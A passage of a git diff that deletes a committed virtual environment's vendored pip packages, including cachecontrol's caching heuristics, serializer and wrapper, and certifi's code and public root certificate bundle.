-        except AttributeError:
-            pass
-
-        try:
-            closed: bool = self.__fp.closed
-            return closed
-
-        except AttributeError:
-            pass
-
-        # We just don't cache it then.
-        # TODO: Add some logging here...
-        return False
-
-    def _close(self) -> None:
-        result: Buffer
-        if self.__callback:
-            if self.__buf.tell() == 0:
-                # Empty file:
-                result = b""
-            else:
-                # Return the data without actually loading it into memory,
-                # relying on Python's buffer API and mmap(). mmap() just gives
-                # a view directly into the filesystem's memory cache, so it
-                # doesn't result in duplicate memory use.
-                self.__buf.seek(0, 0)
-                result = memoryview(
-                    mmap.mmap(self.__buf.fileno(), 0, access=mmap.ACCESS_READ)
-                )
-            self.__callback(result)
-
-        # We assign this to None here, because otherwise we can get into
-        # really tricky problems where the CPython interpreter dead locks
-        # because the callback is holding a reference to something which
-        # has a __del__ method. Setting this to None breaks the cycle
-        # and allows the garbage collector to do it's thing normally.
-        self.__callback = None
-
-        # Closing the temporary file releases memory and frees disk space.
-        # Important when caching big files.
-        self.__buf.close()
-
-    def read(self, amt: int | None = None) -> bytes:
-        data: bytes = self.__fp.read(amt)
-        if data:
-            # We may be dealing with b'', a sign that things are over:
-            # it's passed e.g. after we've already closed self.__buf.
-            self.__buf.write(data)
-        if self.__is_fp_closed():
-            self._close()
-
-        return data
-
-    def _safe_read(self, amt: int) -> bytes:
-        data: bytes = self.__fp._safe_read(amt)  # type: ignore[attr-defined]
-        if amt == 2 and data == b"\r\n":
-            # urllib executes this read to toss the CRLF at the end
-            # of the chunk.
-            return data
-
-        self.__buf.write(data)
-        if self.__is_fp_closed():
-            self._close()
-
-        return data
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/heuristics.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/heuristics.py
deleted file mode 100644
index b778c4f3f7ad5e22fca433be02a824446fb47ff5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/heuristics.py
+++ /dev/null
@@ -1,157 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-from __future__ import annotations
-
-import calendar
-import time
-from datetime import datetime, timedelta, timezone
-from email.utils import formatdate, parsedate, parsedate_tz
-from typing import TYPE_CHECKING, Any, Mapping
-
-if TYPE_CHECKING:
-    from pip._vendor.urllib3 import HTTPResponse
-
-TIME_FMT = "%a, %d %b %Y %H:%M:%S GMT"
-
-
-def expire_after(delta: timedelta, date: datetime | None = None) -> datetime:
-    date = date or datetime.now(timezone.utc)
-    return date + delta
-
-
-def datetime_to_header(dt: datetime) -> str:
-    return formatdate(calendar.timegm(dt.timetuple()))
-
-
-class BaseHeuristic:
-    def warning(self, response: HTTPResponse) -> str | None:
-        """
-        Return a valid 1xx warning header value describing the cache
-        adjustments.
-
-        The response is provided too allow warnings like 113
-        http://tools.ietf.org/html/rfc7234#section-5.5.4 where we need
-        to explicitly say response is over 24 hours old.
-        """
-        return '110 - "Response is Stale"'
-
-    def update_headers(self, response: HTTPResponse) -> dict[str, str]:
-        """Update the response headers with any new headers.
-
-        NOTE: This SHOULD always include some Warning header to
-              signify that the response was cached by the client, not
-              by way of the provided headers.
-        """
-        return {}
-
-    def apply(self, response: HTTPResponse) -> HTTPResponse:
-        updated_headers = self.update_headers(response)
-
-        if updated_headers:
-            response.headers.update(updated_headers)
-            warning_header_value = self.warning(response)
-            if warning_header_value is not None:
-                response.headers.update({"Warning": warning_header_value})
-
-        return response
-
-
-class OneDayCache(BaseHeuristic):
-    """
-    Cache the response by providing an expires 1 day in the
-    future.
-    """
-
-    def update_headers(self, response: HTTPResponse) -> dict[str, str]:
-        headers = {}
-
-        if "expires" not in response.headers:
-            date = parsedate(response.headers["date"])
-            expires = expire_after(
-                timedelta(days=1),
-                date=datetime(*date[:6], tzinfo=timezone.utc),  # type: ignore[index,misc]
-            )
-            headers["expires"] = datetime_to_header(expires)
-            headers["cache-control"] = "public"
-        return headers
-
-
-class ExpiresAfter(BaseHeuristic):
-    """
-    Cache **all** requests for a defined time period.
-    """
-
-    def __init__(self, **kw: Any) -> None:
-        self.delta = timedelta(**kw)
-
-    def update_headers(self, response: HTTPResponse) -> dict[str, str]:
-        expires = expire_after(self.delta)
-        return {"expires": datetime_to_header(expires), "cache-control": "public"}
-
-    def warning(self, response: HTTPResponse) -> str | None:
-        tmpl = "110 - Automatically cached for %s. Response might be stale"
-        return tmpl % self.delta
-
-
-class LastModified(BaseHeuristic):
-    """
-    If there is no Expires header already, fall back on Last-Modified
-    using the heuristic from
-    http://tools.ietf.org/html/rfc7234#section-4.2.2
-    to calculate a reasonable value.
-
-    Firefox also does something like this per
-    https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching_FAQ
-    http://lxr.mozilla.org/mozilla-release/source/netwerk/protocol/http/nsHttpResponseHead.cpp#397
-    Unlike mozilla we limit this to 24-hr.
-    """
-
-    cacheable_by_default_statuses = {
-        200,
-        203,
-        204,
-        206,
-        300,
-        301,
-        404,
-        405,
-        410,
-        414,
-        501,
-    }
-
-    def update_headers(self, resp: HTTPResponse) -> dict[str, str]:
-        headers: Mapping[str, str] = resp.headers
-
-        if "expires" in headers:
-            return {}
-
-        if "cache-control" in headers and headers["cache-control"] != "public":
-            return {}
-
-        if resp.status not in self.cacheable_by_default_statuses:
-            return {}
-
-        if "date" not in headers or "last-modified" not in headers:
-            return {}
-
-        time_tuple = parsedate_tz(headers["date"])
-        assert time_tuple is not None
-        date = calendar.timegm(time_tuple[:6])
-        last_modified = parsedate(headers["last-modified"])
-        if last_modified is None:
-            return {}
-
-        now = time.time()
-        current_age = max(0, now - date)
-        delta = date - calendar.timegm(last_modified)
-        freshness_lifetime = max(0, min(delta / 10, 24 * 3600))
-        if freshness_lifetime <= current_age:
-            return {}
-
-        expires = date + freshness_lifetime
-        return {"expires": time.strftime(TIME_FMT, time.gmtime(expires))}
-
-    def warning(self, resp: HTTPResponse) -> str | None:
-        return None
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/py.typed b/venv/Lib/site-packages/pip/_vendor/cachecontrol/py.typed
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/serialize.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/serialize.py
deleted file mode 100644
index a49487a1493f9bbd160645ea4e491b4ac54a19a9..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/serialize.py
+++ /dev/null
@@ -1,146 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-from __future__ import annotations
-
-import io
-from typing import IO, TYPE_CHECKING, Any, Mapping, cast
-
-from pip._vendor import msgpack
-from pip._vendor.requests.structures import CaseInsensitiveDict
-from pip._vendor.urllib3 import HTTPResponse
-
-if TYPE_CHECKING:
-    from pip._vendor.requests import PreparedRequest
-
-
-class Serializer:
-    serde_version = "4"
-
-    def dumps(
-        self,
-        request: PreparedRequest,
-        response: HTTPResponse,
-        body: bytes | None = None,
-    ) -> bytes:
-        response_headers: CaseInsensitiveDict[str] = CaseInsensitiveDict(
-            response.headers
-        )
-
-        if body is None:
-            # When a body isn't passed in, we'll read the response. We
-            # also update the response with a new file handler to be
-            # sure it acts as though it was never read.
-            body = response.read(decode_content=False)
-            response._fp = io.BytesIO(body)  # type: ignore[assignment]
-            response.length_remaining = len(body)
-
-        data = {
-            "response": {
-                "body": body,  # Empty bytestring if body is stored separately
-                "headers": {str(k): str(v) for k, v in response.headers.items()},
-                "status": response.status,
-                "version": response.version,
-                "reason": str(response.reason),
-                "decode_content": response.decode_content,
-            }
-        }
-
-        # Construct our vary headers
-        data["vary"] = {}
-        if "vary" in response_headers:
-            varied_headers = response_headers["vary"].split(",")
-            for header in varied_headers:
-                header = str(header).strip()
-                header_value = request.headers.get(header, None)
-                if header_value is not None:
-                    header_value = str(header_value)
-                data["vary"][header] = header_value
-
-        return b",".join([f"cc={self.serde_version}".encode(), self.serialize(data)])
-
-    def serialize(self, data: dict[str, Any]) -> bytes:
-        return cast(bytes, msgpack.dumps(data, use_bin_type=True))
-
-    def loads(
-        self,
-        request: PreparedRequest,
-        data: bytes,
-        body_file: IO[bytes] | None = None,
-    ) -> HTTPResponse | None:
-        # Short circuit if we've been given an empty set of data
-        if not data:
-            return None
-
-        # Previous versions of this library supported other serialization
-        # formats, but these have all been removed.
-        if not data.startswith(f"cc={self.serde_version},".encode()):
-            return None
-
-        data = data[5:]
-        return self._loads_v4(request, data, body_file)
-
-    def prepare_response(
-        self,
-        request: PreparedRequest,
-        cached: Mapping[str, Any],
-        body_file: IO[bytes] | None = None,
-    ) -> HTTPResponse | None:
-        """Verify our vary headers match and construct a real urllib3
-        HTTPResponse object.
-        """
-        # Special case the '*' Vary value as it means we cannot actually
-        # determine if the cached response is suitable for this request.
-        # This case is also handled in the controller code when creating
-        # a cache entry, but is left here for backwards compatibility.
-        if "*" in cached.get("vary", {}):
-            return None
-
-        # Ensure that the Vary headers for the cached response match our
-        # request
-        for header, value in cached.get("vary", {}).items():
-            if request.headers.get(header, None) != value:
-                return None
-
-        body_raw = cached["response"].pop("body")
-
-        headers: CaseInsensitiveDict[str] = CaseInsensitiveDict(
-            data=cached["response"]["headers"]
-        )
-        if headers.get("transfer-encoding", "") == "chunked":
-            headers.pop("transfer-encoding")
-
-        cached["response"]["headers"] = headers
-
-        try:
-            body: IO[bytes]
-            if body_file is None:
-                body = io.BytesIO(body_raw)
-            else:
-                body = body_file
-        except TypeError:
-            # This can happen if cachecontrol serialized to v1 format (pickle)
-            # using Python 2. A Python 2 str(byte string) will be unpickled as
-            # a Python 3 str (unicode string), which will cause the above to
-            # fail with:
-            #
-            #     TypeError: 'str' does not support the buffer interface
-            body = io.BytesIO(body_raw.encode("utf8"))
-
-        # Discard any `strict` parameter serialized by older version of cachecontrol.
-        cached["response"].pop("strict", None)
-
-        return HTTPResponse(body=body, preload_content=False, **cached["response"])
-
-    def _loads_v4(
-        self,
-        request: PreparedRequest,
-        data: bytes,
-        body_file: IO[bytes] | None = None,
-    ) -> HTTPResponse | None:
-        try:
-            cached = msgpack.loads(data, raw=False)
-        except ValueError:
-            return None
-
-        return self.prepare_response(request, cached, body_file)
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/wrapper.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/wrapper.py
deleted file mode 100644
index f618bc363f12fb416b048e2a86cbddb6082874d6..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/wrapper.py
+++ /dev/null
@@ -1,43 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-from __future__ import annotations
-
-from typing import TYPE_CHECKING, Collection
-
-from pip._vendor.cachecontrol.adapter import CacheControlAdapter
-from pip._vendor.cachecontrol.cache import DictCache
-
-if TYPE_CHECKING:
-    from pip._vendor import requests
-
-    from pip._vendor.cachecontrol.cache import BaseCache
-    from pip._vendor.cachecontrol.controller import CacheController
-    from pip._vendor.cachecontrol.heuristics import BaseHeuristic
-    from pip._vendor.cachecontrol.serialize import Serializer
-
-
-def CacheControl(
-    sess: requests.Session,
-    cache: BaseCache | None = None,
-    cache_etags: bool = True,
-    serializer: Serializer | None = None,
-    heuristic: BaseHeuristic | None = None,
-    controller_class: type[CacheController] | None = None,
-    adapter_class: type[CacheControlAdapter] | None = None,
-    cacheable_methods: Collection[str] | None = None,
-) -> requests.Session:
-    cache = DictCache() if cache is None else cache
-    adapter_class = adapter_class or CacheControlAdapter
-    adapter = adapter_class(
-        cache,
-        cache_etags=cache_etags,
-        serializer=serializer,
-        heuristic=heuristic,
-        controller_class=controller_class,
-        cacheable_methods=cacheable_methods,
-    )
-    sess.mount("http://", adapter)
-    sess.mount("https://", adapter)
-
-    return sess
diff --git a/venv/Lib/site-packages/pip/_vendor/certifi/LICENSE b/venv/Lib/site-packages/pip/_vendor/certifi/LICENSE
deleted file mode 100644
index 62b076cdee58ec8f34034141ba0befd9015b0c7e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/certifi/LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-This package contains a modified version of ca-bundle.crt:
-
-ca-bundle.crt -- Bundle of CA Root Certificates
-
-This is a bundle of X.509 certificates of public Certificate Authorities
-(CA). These were automatically extracted from Mozilla's root certificates
-file (certdata.txt).  This file can be found in the mozilla source tree:
-https://hg.mozilla.org/mozilla-central/file/tip/security/nss/lib/ckfw/builtins/certdata.txt
-It contains the certificates in PEM format and therefore
-can be directly used with curl / libcurl / php_curl, or with
-an Apache+mod_ssl webserver for SSL client authentication.
-Just configure this file as the SSLCACertificateFile.#
-
-***** BEGIN LICENSE BLOCK *****
-This Source Code Form is subject to the terms of the Mozilla Public License,
-v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain
-one at http://mozilla.org/MPL/2.0/.
-
-***** END LICENSE BLOCK *****
-@(#) $RCSfile: certdata.txt,v $ $Revision: 1.80 $ $Date: 2011/11/03 15:11:58 $
diff --git a/venv/Lib/site-packages/pip/_vendor/certifi/__init__.py b/venv/Lib/site-packages/pip/_vendor/certifi/__init__.py
deleted file mode 100644
index ed9a74b7a0f6de9b21e0f79f4c4799952123a78b..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/certifi/__init__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-from .core import contents, where
-
-__all__ = ["contents", "where"]
-__version__ = "2026.06.17"
diff --git a/venv/Lib/site-packages/pip/_vendor/certifi/__main__.py b/venv/Lib/site-packages/pip/_vendor/certifi/__main__.py
deleted file mode 100644
index 00376349e69ad8b9dbf401cddc34055951e4b02e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/certifi/__main__.py
+++ /dev/null
@@ -1,12 +0,0 @@
-import argparse
-
-from pip._vendor.certifi import contents, where
-
-parser = argparse.ArgumentParser()
-parser.add_argument("-c", "--contents", action="store_true")
-args = parser.parse_args()
-
-if args.contents:
-    print(contents())
-else:
-    print(where())
diff --git a/venv/Lib/site-packages/pip/_vendor/certifi/cacert.pem b/venv/Lib/site-packages/pip/_vendor/certifi/cacert.pem
deleted file mode 100644
index 1c2dbfeb6802cb9f18360d7e922a26cd30648e88..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/certifi/cacert.pem
+++ /dev/null
@@ -1,3863 +0,0 @@
-
-# Issuer: CN=COMODO ECC Certification Authority O=COMODO CA Limited
-# Subject: CN=COMODO ECC Certification Authority O=COMODO CA Limited
-# Label: "COMODO ECC Certification Authority"
-# Serial: 41578283867086692638256921589707938090
-# MD5 Fingerprint: 7c:62:ff:74:9d:31:53:5e:68:4a:d5:78:aa:1e:bf:23
-# SHA1 Fingerprint: 9f:74:4e:9f:2b:4d:ba:ec:0f:31:2c:50:b6:56:3b:8e:2d:93:c3:11
-# SHA256 Fingerprint: 17:93:92:7a:06:14:54:97:89:ad:ce:2f:8f:34:f7:f0:b6:6d:0f:3a:e3:a3:b8:4d:21:ec:15:db:ba:4f:ad:c7
------BEGIN CERTIFICATE-----
-MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTEL
-MAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UE
-BxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMT
-IkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDgwMzA2MDAw
-MDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdy
-ZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09N
-T0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlv
-biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSR
-FtSrYpn1PlILBs5BAH+X4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0J
-cfRK9ChQtP6IHG4/bC8vCVlbpVsLM5niwz2J+Wos77LTBumjQjBAMB0GA1UdDgQW
-BBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/
-BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VGFAkK+qDm
-fQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdv
-GDeAU/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY=
------END CERTIFICATE-----
-
-# Issuer: CN=NetLock Arany (Class Gold) F\u0151tan\xfas\xedtv\xe1ny O=NetLock Kft. OU=Tan\xfas\xedtv\xe1nykiad\xf3k (Certification Services)
-# Subject: CN=NetLock Arany (Class Gold) F\u0151tan\xfas\xedtv\xe1ny O=NetLock Kft. OU=Tan\xfas\xedtv\xe1nykiad\xf3k (Certification Services)
-# Label: "NetLock Arany (Class Gold) F\u0151tan\xfas\xedtv\xe1ny"
-# Serial: 80544274841616
-# MD5 Fingerprint: c5:a1:b7:ff:73:dd:d6:d7:34:32:18:df:fc:3c:ad:88
-# SHA1 Fingerprint: 06:08:3f:59:3f:15:a1:04:a0:69:a4:6b:a9:03:d0:06:b7:97:09:91
-# SHA256 Fingerprint: 6c:61:da:c3:a2:de:f0:31:50:6b:e0:36:d2:a6:fe:40:19:94:fb:d1:3d:f9:c8:d4:66:59:92:74:c4:46:ec:98
------BEGIN CERTIFICATE-----
-MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQG
-EwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3
-MDUGA1UECwwuVGFuw7pzw610dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNl
-cnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBBcmFueSAoQ2xhc3MgR29sZCkgRsWR
-dGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgxMjA2MTUwODIxWjCB
-pzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxOZXRM
-b2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlm
-aWNhdGlvbiBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNz
-IEdvbGQpIEbFkXRhbsO6c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
-MIIBCgKCAQEAxCRec75LbRTDofTjl5Bu0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrT
-lF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw/HpYzY6b7cNGbIRwXdrz
-AZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAkH3B5r9s5
-VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRG
-ILdwfzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2
-BJtr+UBdADTHLpl1neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAG
-AQH/AgEEMA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2M
-U9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwWqZw8UQCgwBEIBaeZ5m8BiFRh
-bvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTtaYtOUZcTh5m2C
-+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC
-bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2F
-uLjbvrW5KfnaNwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2
-XjG4Kvte9nHfRCaexOYNkbQudZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E=
------END CERTIFICATE-----
-
-# Issuer: CN=Microsec e-Szigno Root CA 2009 O=Microsec Ltd.
-# Subject: CN=Microsec e-Szigno Root CA 2009 O=Microsec Ltd.
-# Label: "Microsec e-Szigno Root CA 2009"
-# Serial: 14014712776195784473
-# MD5 Fingerprint: f8:49:f4:03:bc:44:2d:83:be:48:69:7d:29:64:fc:b1
-# SHA1 Fingerprint: 89:df:74:fe:5c:f4:0f:4a:80:f9:e3:37:7d:54:da:91:e1:01:31:8e
-# SHA256 Fingerprint: 3c:5f:81:fe:a5:fa:b8:2c:64:bf:a2:ea:ec:af:cd:e8:e0:77:fc:86:20:a7:ca:e5:37:16:3d:f3:6e:db:f3:78
------BEGIN CERTIFICATE-----
-MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYD
-VQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0
-ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0G
-CSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTAeFw0wOTA2MTYxMTMwMThaFw0y
-OTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3Qx
-FjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3pp
-Z25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o
-dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvP
-kd6mJviZpWNwrZuuyjNAfW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tc
-cbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG0IMZfcChEhyVbUr02MelTTMuhTlAdX4U
-fIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKApxn1ntxVUwOXewdI/5n7
-N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm1HxdrtbC
-xkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1
-+rUCAwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
-A1UdDgQWBBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPM
-Pcu1SCOhGnqmKrs0aDAbBgNVHREEFDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqG
-SIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0olZMEyL/azXm4Q5DwpL7v8u8h
-mLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfXI/OMn74dseGk
-ddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775
-tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c
-2Pm2G2JwCz02yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5t
-HMN1Rq41Bab2XD0h7lbwyYIiLXpUq3DDfSJlgnCW
------END CERTIFICATE-----
-
-# Issuer: CN=GlobalSign O=GlobalSign OU=GlobalSign Root CA - R3
-# Subject: CN=GlobalSign O=GlobalSign OU=GlobalSign Root CA - R3
-# Label: "GlobalSign Root CA - R3"
-# Serial: 4835703278459759426209954
-# MD5 Fingerprint: c5:df:b8:49:ca:05:13:55:ee:2d:ba:1a:c3:3e:b0:28
-# SHA1 Fingerprint: d6:9b:56:11:48:f0:1c:77:c5:45:78:c1:09:26:df:5b:85:69:76:ad
-# SHA256 Fingerprint: cb:b5:22:d7:b7:f1:27:ad:6a:01:13:86:5b:df:1c:d4:10:2e:7d:07:59:af:63:5a:7c:f4:72:0d:c9:63:c5:3b
------BEGIN CERTIFICATE-----
-MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G
-A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp
-Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4
-MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG
-A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI
-hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8
-RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT
-gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm
-KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd
-QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ
-XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw
-DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o
-LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU
-RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp
-jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK
-6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX
-mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs
-Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH
-WD9f
------END CERTIFICATE-----
-
-# Issuer: CN=Izenpe.com O=IZENPE S.A.
-# Subject: CN=Izenpe.com O=IZENPE S.A.
-# Label: "Izenpe.com"
-# Serial: 917563065490389241595536686991402621
-# MD5 Fingerprint: a6:b0:cd:85:80:da:5c:50:34:a3:39:90:2f:55:67:73
-# SHA1 Fingerprint: 2f:78:3d:25:52:18:a7:4a:65:39:71:b5:2c:a2:9c:45:15:6f:e9:19
-# SHA256 Fingerprint: 25:30:cc:8e:98:32:15:02:ba:d9:6f:9b:1f:ba:1b:09:9e:2d:29:9e:0f:45:48:bb:91:4f:36:3b:c0:d4:53:1f
------BEGIN CERTIFICATE-----
-MIIF8TCCA9mgAwIBAgIQALC3WhZIX7/hy/WL1xnmfTANBgkqhkiG9w0BAQsFADA4
-MQswCQYDVQQGEwJFUzEUMBIGA1UECgwLSVpFTlBFIFMuQS4xEzARBgNVBAMMCkl6
-ZW5wZS5jb20wHhcNMDcxMjEzMTMwODI4WhcNMzcxMjEzMDgyNzI1WjA4MQswCQYD
-VQQGEwJFUzEUMBIGA1UECgwLSVpFTlBFIFMuQS4xEzARBgNVBAMMCkl6ZW5wZS5j
-b20wggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDJ03rKDx6sp4boFmVq
-scIbRTJxldn+EFvMr+eleQGPicPK8lVx93e+d5TzcqQsRNiekpsUOqHnJJAKClaO
-xdgmlOHZSOEtPtoKct2jmRXagaKH9HtuJneJWK3W6wyyQXpzbm3benhB6QiIEn6H
-LmYRY2xU+zydcsC8Lv/Ct90NduM61/e0aL6i9eOBbsFGb12N4E3GVFWJGjMxCrFX
-uaOKmMPsOzTFlUFpfnXCPCDFYbpRR6AgkJOhkEvzTnyFRVSa0QUmQbC1TR0zvsQD
-yCV8wXDbO/QJLVQnSKwv4cSsPsjLkkxTOTcj7NMB+eAJRE1NZMDhDVqHIrytG6P+
-JrUV86f8hBnp7KGItERphIPzidF0BqnMC9bC3ieFUCbKF7jJeodWLBoBHmy+E60Q
-rLUk9TiRodZL2vG70t5HtfG8gfZZa88ZU+mNFctKy6lvROUbQc/hhqfK0GqfvEyN
-BjNaooXlkDWgYlwWTvDjovoDGrQscbNYLN57C9saD+veIR8GdwYDsMnvmfzAuU8L
-hij+0rnq49qlw0dpEuDb8PYZi+17cNcC1u2HGCgsBCRMd+RIihrGO5rUD8r6ddIB
